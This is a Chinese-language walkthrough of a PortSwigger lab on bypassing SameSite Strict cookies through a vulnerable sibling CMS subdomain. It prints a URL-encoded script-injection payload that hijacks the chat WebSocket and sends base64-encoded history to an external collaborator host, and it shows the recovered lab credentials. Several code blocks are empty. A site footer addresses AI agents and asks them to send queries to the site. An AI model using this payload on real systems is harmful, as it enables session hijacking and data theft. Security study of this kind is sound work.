> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-strict-bypass-via-sibling-domain.md).
# 通过同级域绕过 SameSite Strict
通过同级域绕过 SameSite Strict 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 通过同级域绕过 SameSite Strict
实验室：实时聊天功能存在跨站 WebSocket 劫持（CSWSH）漏洞。实验室的目标是通过将聊天历史提取到默认的 Burp Collaborator 服务器来访问受害者的账户；历史中包含明文凭据。
使用提供的利用服务器发起一次 CSWSH 攻击，以导出受害者的 cat 历史。
聊天通过 WebSocket 工作，历史记录也通过它传输。
会话 cookie 使用 SameSite 发送（阻止了传统的跨站重定向场景）。
JavaScript 客户端文件（例如 `chat.js`）从一个 CMS 子域加载，该子域返回一个 `Access-Control-Allow-Origin` 头，允许来自该子域的交互。
CMS 身份验证面板可通过以下内容的脚本注入而受攻击： `用户名` 参数（例如 `?username=&password=test`).
```javascript
```
```
/login?username=&password=test
```
利用这个注入点，你可以在受漏洞影响的子域上下文中运行 JavaScript，从而建立到聊天服务器的已认证 WebSocket（由于源相同，随后会发送 cookie）。
### 方法（摘要）
1. 在 CMS 子域登录表单的 `用户名` 参数中放置恶意脚本。
2. 此脚本打开到聊天服务器的 WebSocket 连接并发送一个 `READY` 信号。
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
3. 在接收到来自 WebSocket 的消息（cat 历史）后， `fetch` 脚本会将这些数据（base64）编码后发送到攻击者控制的服务器（OAST/Oastify）。
```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```
在利用服务器上托管/提供一个重定向，以推动受害者访问易受攻击的 URL（使用 `用户名` 其中包含该脚本）。
```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```
#### 观察到的结果
* 当收到导出的查询时， `数据` 参数包含一个 base64 字符串；解码后我们得到了 cat 的入口。
* 收到的有效载荷示例（base64 解码后）：
```json
{"user":"已连接","content":"-- 现在正在与 Hal Pline 聊天 --"}
```
通过从已认证上下文（CMS 子域）注入，脚本传输了包含用户对话的消息，在本例中，还传输了包含明文凭据的消息。
{% code overflow="wrap" %}
```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```
{% endcode %}
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
#### 提取出的凭据（备注）
* `carlos:hdf3fkk8h7tnltupqs5t` （在 cat 历史中找到的凭据）
{% code overflow="wrap" %}
```json
{"user":"Hal Pline","content":"没问题，carlos，是 hdf3fkk8h7tnltupqs5t"}
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
